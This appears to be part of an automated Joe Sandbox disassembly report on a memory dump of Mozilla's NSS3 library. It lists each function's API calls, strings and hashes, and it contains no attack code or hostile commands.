SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C79AAD4), ref: 6C795F4B

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 8b006ca9e21f51af4f63f5db5a8c5c91a22afffbc3f4d81a92174a4e84635217
Instruction ID: 0b2950ab3b2628d9b8df0c7511c7738c246d28147aabce8c2e647c0f64a1e4c0
Opcode Fuzzy Hash: 8b006ca9e21f51af4f63f5db5a8c5c91a22afffbc3f4d81a92174a4e84635217
Instruction Fuzzy Hash: C371C2B4A00B009FD751CF20E989A92B7B5FF89309F148638E85E87B11E732F915CB91

Function 6C718DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C718E22
EnterCriticalSection.KERNEL32(?), ref: 6C718E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C718E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C718E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C718E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C718EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C718EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C718EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C718F00
free.MOZGLUE(?), ref: 6C718F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C718F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C718F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C718F5B
PR_Unlock.NSS3(?), ref: 6C718F72
PR_Unlock.NSS3(?), ref: 6C718F82

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 042b207c13e51a2fdb9bae6ad52acbc1078f5ea72b612f30547a99bc21f07fed
Instruction ID: 7febcb0046aabc4f92cb833f9eec63656a799f4ad942e7bde7ee903c27cd265b
Opcode Fuzzy Hash: 042b207c13e51a2fdb9bae6ad52acbc1078f5ea72b612f30547a99bc21f07fed
Instruction Fuzzy Hash: 2A5106B2D042059FE7108E68CD849AAB7B9EF45318F1A4539EC089BF00E731ED4587D1

Function 6C73CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C73CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C73CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C73CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C73CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C73CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C73CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C73CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C73CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C73CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C73CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C73CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C73CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C73CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C73D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C73D021

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: d4bf285ae2deb66f46143bc34a32f456365c1ec4d679cb35de28c54153722cbf
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 6631237176292027EF0E50565F2DBDE144A4B6570EF841038F94AE57C1FBCA962702A9

Function 6C810FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C811000

Part of subcall function 6C7C9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C6F1A48), ref: 6C7C9BB3
Part of subcall function 6C7C9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6F1A48), ref: 6C7C9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C811016

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_Unlock.NSS3(?), ref: 6C811021

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C811046
PR_Unlock.NSS3(?), ref: 6C81106B
PR_Lock.NSS3 ref: 6C811079
PR_Unlock.NSS3 ref: 6C811096
free.MOZGLUE(?), ref: 6C8110A7
free.MOZGLUE(?), ref: 6C8110B4
PR_DestroyCondVar.NSS3(?), ref: 6C8110BF
PR_DestroyCondVar.NSS3(?), ref: 6C8110CA
PR_DestroyCondVar.NSS3(?), ref: 6C8110D5
PR_DestroyCondVar.NSS3(?), ref: 6C8110E0
PR_DestroyLock.NSS3(?), ref: 6C8110EB
free.MOZGLUE(?), ref: 6C811105

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 2083544125214590cd9bfa16def9989024a057fe55cd3e045eb7bcf64b661038
Instruction ID: ca9553b5c03eaa62183eb6ea3586197218d4f9954688533e46560c0e72b2a353
Opcode Fuzzy Hash: 2083544125214590cd9bfa16def9989024a057fe55cd3e045eb7bcf64b661038
Instruction Fuzzy Hash: E831AFB9900402AFD7119F10EE4AA45BBB2BF1131CB084231E80903F61E732F878DBD6

Function 6C68DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C68DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C68DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C68DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C68DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C68DECD

Strings

database corruption, xrefs: 6C68DF77, 6C68DFE7
%s at line %d of [%.10s], xrefs: 6C68DF7C, 6C68DFEC
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C68DF6D, 6C68DFCC, 6C68DFDD

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: aaa8987bbb4e519171f223746a229fd2ff9b189740c24443176d41d9c9642208
Instruction ID: 71490a6ea7a00de47fcafa1378a9ff52706f4575af5b555b202b7c3e9a566528
Opcode Fuzzy Hash: aaa8987bbb4e519171f223746a229fd2ff9b189740c24443176d41d9c9642208
Instruction Fuzzy Hash: DAA1F7716052129FC710DF29C880A6BB7F5EF85318F15896EF8899BB41D730E845CBB5

Function 6C74EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C74EE0B

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C74EEE1

Part of subcall function 6C741D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C741D7E
Part of subcall function 6C741D50: EnterCriticalSection.KERNEL32(?), ref: 6C741D8E
Part of subcall function 6C741D50: PR_Unlock.NSS3(?), ref: 6C741DD3

TlsGetValue.KERNEL32 ref: 6C74EE51
EnterCriticalSection.KERNEL32(?), ref: 6C74EE65
PR_Unlock.NSS3(?), ref: 6C74EEA2
free.MOZGLUE(?), ref: 6C74EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C74EED0
PR_Unlock.NSS3(?), ref: 6C74EF48
free.MOZGLUE(?), ref: 6C74EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C74EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C74EFA4
free.MOZGLUE(?), ref: 6C74EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C74F055
free.MOZGLUE(?), ref: 6C74F060

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 76af56d94e40bd125f257b366ce72d627382f26af8949997be2abb77a6d77ec7
Instruction ID: 2dd6011ae373733a7db56b31d6e41587ab6e60ed76628556b97b019cb0f0f081
Opcode Fuzzy Hash: 76af56d94e40bd125f257b366ce72d627382f26af8949997be2abb77a6d77ec7
Instruction Fuzzy Hash: 23818475A00219ABEB40DFA5DD49EDEBBB9BF08318F544034E909A3611E731E924CBE1

Function 6C714CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C714D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C714D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C714DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C714E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C714E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C714E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C714E85
DER_Encode_Util.NSS3(?,?,6C8605A4,00000000), ref: 6C714EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C714F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C714F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C714F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C714F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C714F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C714FC8

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 42dbf3fc75613c57e6f0d2b0d47834e2cc6edf08746c9e6e497b3694213b1203
Instruction ID: cb67e5d9e4648986da3ddf1722b920506a9be8e2cedbf489923b9ba56acbce98
Opcode Fuzzy Hash: 42dbf3fc75613c57e6f0d2b0d47834e2cc6edf08746c9e6e497b3694213b1203
Instruction Fuzzy Hash: C181A271908301AFE711CF25DA44B5AB7E8AB8475CF1C852DF958DBB40E731EA08CB92

Function 6C755C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C755C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C755CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C755CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C755D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C755D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C755D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C755E18
TlsGetValue.KERNEL32 ref: 6C755E5E
EnterCriticalSection.KERNEL32(?), ref: 6C755E72
PR_Unlock.NSS3(?), ref: 6C755E8B

Part of subcall function 6C74F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C74F854
Part of subcall function 6C74F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C74F868
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C74F882
Part of subcall function 6C74F820: free.MOZGLUE(04C483FF,?,?), ref: 6C74F889
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C74F8A4
Part of subcall function 6C74F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C74F8AB
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C74F8C9
Part of subcall function 6C74F820: free.MOZGLUE(280F10EC,?,?), ref: 6C74F8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6C755D3D
d, xrefs: 6C755C36

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 6fdfc4c4bcf87b119f6eae8469b0995be576a2c9802b9775b7103276692051ee
Instruction ID: b77a3869ba8418b6c6c1ff8eb975d92e0de3d2116c8beeec4c382c5e3ae2cdfd
Opcode Fuzzy Hash: 6fdfc4c4bcf87b119f6eae8469b0995be576a2c9802b9775b7103276692051ee
Instruction Fuzzy Hash: 787117F1F042019BEB419F25EE4976A3279AF4531CF944039E8099AB42EF36E935C7D2

Function 6C748F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C749582), ref: 6C748F5B

Part of subcall function 6C75BE30: SECOID_FindOID_Util.NSS3(6C71311B,00000000,?,6C71311B,?), ref: 6C75BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C748F6A

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C748FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C748FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C82D820,6C749576), ref: 6C748FF9
DER_GetInteger_Util.NSS3(?), ref: 6C74901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C74903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C749062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C7490A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C7490CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C7490F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C74912D
free.MOZGLUE(00000000), ref: 6C749136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C749145

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 7166317e651b01d27978ffe12c9baeb3d3904929d766402751c23923f430fc44
Instruction ID: 403f3e6000bc385fddc7b1cde79d32a28fcf484fe670a260178754c8b0a528ce
Opcode Fuzzy Hash: 7166317e651b01d27978ffe12c9baeb3d3904929d766402751c23923f430fc44
Instruction Fuzzy Hash: 1351E2B1A042009BE710CF28DE49B96B7E8EF94358F048939EC55C7741E735E949CBD2

Function 6C6FAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C6FAF47

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

FreeLibrary.KERNEL32(?), ref: 6C6FAF6D
free.MOZGLUE(?), ref: 6C6FAFA4
free.MOZGLUE(?), ref: 6C6FAFAA
PR_ExitMonitor.NSS3 ref: 6C6FAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C6FAFF5
PR_ExitMonitor.NSS3 ref: 6C6FB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C6FB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C6FB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C6FB03C

Strings

Unloaded library %s, xrefs: 6C6FB023
%s decr => %d, xrefs: 6C6FAFF0

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: d952c43b8a6285b07051f157dff3dd4c4dcdb606368f244b176a28f9b29d818b
Instruction ID: adcf5e4b99b3e68ab300051dc728c446b2dc3a2329acdd57f7026f59933614b1
Opcode Fuzzy Hash: d952c43b8a6285b07051f157dff3dd4c4dcdb606368f244b176a28f9b29d818b
Instruction Fuzzy Hash: 71314BB4B05011AFEB119F65DC44A55B776EB0531CB184135EC258BB02F332E82AC7F6

Function 6C746C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C74781D,00000000,6C73BE2C,?,6C746B1D,?,?,?,?,00000000,00000000,6C74781D), ref: 6C746C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C74781D,?,6C73BE2C,?), ref: 6C746C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C74781D), ref: 6C746C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C746C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C746C96

Part of subcall function 6C6F1240: TlsGetValue.KERNEL32(00000040,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1267
Part of subcall function 6C6F1240: EnterCriticalSection.KERNEL32(?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F127C
Part of subcall function 6C6F1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1291
Part of subcall function 6C6F1240: PR_Unlock.NSS3(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C746CAA

Strings

sql:, xrefs: 6C746C52
extern:, xrefs: 6C746C7E
NSS_DEFAULT_DB_TYPE, xrefs: 6C746C91
rdb:, xrefs: 6C746C69
dbm:, xrefs: 6C746C3A
dbm, xrefs: 6C746CA4

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 84b2917be4ffacaea9436494f41bd28f884138ed1d235f1cdfefac691080bf3b
Instruction ID: 8ebe95bf0ff7fd2ca86c7e9179bfbc79ee6dbf489be15518fd368867161c1d61
Opcode Fuzzy Hash: 84b2917be4ffacaea9436494f41bd28f884138ed1d235f1cdfefac691080bf3b
Instruction Fuzzy Hash: BD01A7E170231527F56027796F49F26395D9F4265CF544832FE08E0A42EAD6E614C0A5

Function 6C754E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C7178F8), ref: 6C754E6D

Part of subcall function 6C6F09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6F06A2,00000000,?), ref: 6C6F09F8
Part of subcall function 6C6F09E0: malloc.MOZGLUE(0000001F), ref: 6C6F0A18
Part of subcall function 6C6F09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C6F0A33

